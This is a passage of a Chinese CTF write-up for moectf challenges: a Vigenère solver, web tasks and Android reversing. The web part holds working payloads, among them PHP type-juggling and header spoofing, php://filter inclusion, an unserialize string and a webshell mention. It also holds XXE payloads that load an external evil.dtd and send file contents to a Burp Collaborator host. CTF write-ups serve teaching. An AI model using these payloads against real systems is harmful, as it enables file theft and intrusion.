for(int i = 0; i < cipher.length(); i ++)
cout<< (char)((cipher[i] - 'a' + ans[i % x.length]) % 26 + 'a');
cout<< endl<< endl;
lss ++;
}
}

int main(){
string cipher;
cout<< "[?]Please input the encrypted words:"<< endl;
cin>> cipher;
cout<< "[+]Transforming into lower case."<< endl;
transform(cipher.begin(), cipher.end(), cipher.begin(), ::tolower);
cout<< "[+]Attempting to solve the encryption."<< endl;
Get_key(cipher);
for(int i = 0; i < key.size(); i ++)
cout<< key[i].length<< " and "<< key[i].value<< endl;
Get_ans(cipher);
cout<< "[+]Done!"<< endl;
return 0;
}

世界线2

找到类似flag的东西。

ooukot{ig3_oqf1_Ymiedmms_BzVn3_s0w_w0_3csO}

大括号前明文是moectf,盲猜Ymiedmms是Virginia,w0是s0,3csO是3asY。

然后手撕

Web

01 GET

get提交a=flag


02 POST

POST提交a=flag


03 小饼干

flag在cookie里


04 Introduction

进俩页面,查看源码

查找moectf和}


05 一句话

一句话shell,菜刀连上,管理文件


06 EzMath

在浏览器里禁用js脚本


07 三心二意

payload:

1
2
3
4
5
6
7
http://39.97.238.171:8002/?a=0&c=QNKCDZO

post:
b=1522455bbyyds

cookie:
d=-1E100

08 俄罗斯头套

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 39.98.86.109:10002
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) supreme/114.514.19.19.810 Safari/537.36
X-Forwarded-For: 127.0.0.1
Referer: https://www.baidu.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,ja;q=0.7,en;q=0.6
Connection: close
Content-Length: 11

luoqian=god

09 Moe include

payload:

1
?file=php://filter/convert.base64-encode/resource=flag.php
1
PD9waHANCmVjaG8gIkNhbiB5b3UgZ2V0IHRoZSBmbGFnPyI7DQovL21vZWN0ZntwaHBfaXNfdGhlX2Jlc3RfbGFuZ3VhZ2V9DQo=

base64转换,拿到flag


10 Moe unserialize

根据提示,下载网页临时文件.index.php.swp

在linux上用vim读取,获取源代码。

1
2
3
4
5
6
7
8
9
10
<?php
class Moe{
public $a = '1';
protected $b = '2';
private $c = '3';
}
$test = new Moe();
echo serialize($test);
?>

payload:

1
O:3:"Moe":3:{s:1:"a";s:1:"1";s:4:"%00*%00b";s:1:"2";s:6:"%00Moe%00c";s:1:"3";}

11 EzXXE

解题思路

XXE任意文件读取

解题过程

  • 给出了源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    <?php
    // flag is in '/flags/flag1.txt' and '/flags/flag2.php'

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');

    if (strpos($xmlfile,"flag1.txt") !== FALSE){
    if (strpos($xmlfile,'file:/') === FALSE){
    die("Please use file protocol.<br/><br/>");
    }
    }
    if (strpos($xmlfile,"flag2.php") !== FALSE){
    if (strpos($xmlfile,'file:/') !== FALSE){
    echo "Why not try php://filter?";
    echo '<br/><br/>';
    }
    }
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $test = simplexml_import_dom($dom);
    echo $test;
    highlight_file(__FILE__);
    ?>

POST提交payload,获取flag2.php

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64- encode/resource=/flags/flag2.php">
<!ENTITY % dtd SYSTEM "http://3l365568x0.qicp.vip/evil.dtd">
%dtd;
%send;
]>
<hhh>%send</hhh>
<!-/?file=PD9waHAgJGZsYWcyID0gJzRuZF9waHBfZjFsdDNyfSc7ID8+ HTTP/1.0-!>
<!-<?php $flag2 = '4nd_php_f1lt3r}'; ?>-!>

POST提交payload,获取flag1.txt

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:/flags/flag1.txt">
<!ENTITY % dtd SYSTEM "http://3l365568x0.qicp.vip/evil.dtd">
%dtd;
%send;
]>
<hhh>%send</hhh>
<!-?file=bW9lY3Rme1hYRV8= HTTP/1.0-!>
<!-moectf{XXE_-!>

evil.dtd:

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://143prtfigtjj9yd67c8sizi6ux0qof.burpcollaborator.net/?file=%file;'>"
>
%all;

Andriod

01 Click it!

解题过程

手撕大法好 致敬Rx

image-20200923224110466.png

世界线2

CE搜索内存,修改。

image-20200923225653333.png


02 Baby Android!

解题过程

AndroidKiller逆向,用Java Decomplier查看com.example.signin/MainActivity.class

1
2
3
4
5
6
7
8
9
10
11
12
#include<bits/stdc++.h>
using namespace std;

int main(){
string key = "dalaomenbiedale";
int secret[] = { 9, 14, 9, 2, 27, 11, 30, 55, 82, 28, 58, 15, 15, 92, 18, 59,33, 34, 5, 29, 2, 84, 10, 61, 11, 86, 16, 21, 95, 23, 59, 53, 4, 82, 1, 50, 40, 11, 67, 20 };
for (int i = 0; i < 40; i++){
char a = secret[i] ^ (int)key[i % key.length()];
cout<<a;
}
return 0;
}
-EOF-